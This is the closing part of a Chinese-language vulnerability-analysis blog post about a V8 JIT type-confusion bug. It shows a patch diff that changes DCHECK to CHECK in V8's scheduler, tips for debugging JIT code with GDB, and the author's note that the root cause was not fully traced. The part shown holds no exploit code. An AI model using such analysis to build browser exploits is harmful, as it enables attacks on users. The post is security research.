      void Schedule::InsertBranch(BasicBlock* block, BasicBlock* end, Node* branch,
      BasicBlock* tblock, BasicBlock* fblock) {
      - DCHECK_NE(BasicBlock::kNone, block->control());
      - DCHECK_EQ(BasicBlock::kNone, end->control());
      + CHECK_NE(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, end->control());
      end->set_control(block->control());
      block->set_control(BasicBlock::kBranch);
      MoveSuccessors(block, end);
      @@ -317,8 +317,8 @@

      void Schedule::InsertSwitch(BasicBlock* block, BasicBlock* end, Node* sw,
      BasicBlock** succ_blocks, size_t succ_count) {
      - DCHECK_NE(BasicBlock::kNone, block->control());
      - DCHECK_EQ(BasicBlock::kNone, end->control());
      + CHECK_NE(BasicBlock::kNone, block->control());
      + CHECK_EQ(BasicBlock::kNone, end->control());
      end->set_control(block->control());
      block->set_control(BasicBlock::kSwitch);
      MoveSuccessors(block, end);
  • 一点点总结:

    • 调试 v8 JIT 相关的代码时,一定要让目标函数多运行几次,以建立起充足的 type feedback,这样就可以在调试上少走很多弯路。
    • 熟练使用 GDB call / p指令,这样可以方便的通过对应类中内置的 Print 函数,直接在gdb中将 graph / node 打印输出,便于调试。

实际上,对于这篇漏洞分析,笔者还是有点不太满意,因为受到技术水平的限制,实际要分析的 TypeConfusion 点并没有非常透彻的分析出来,因此这篇文章主体上还是侧重于介绍 JIT 中的一部分优化机制。

六、参考

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~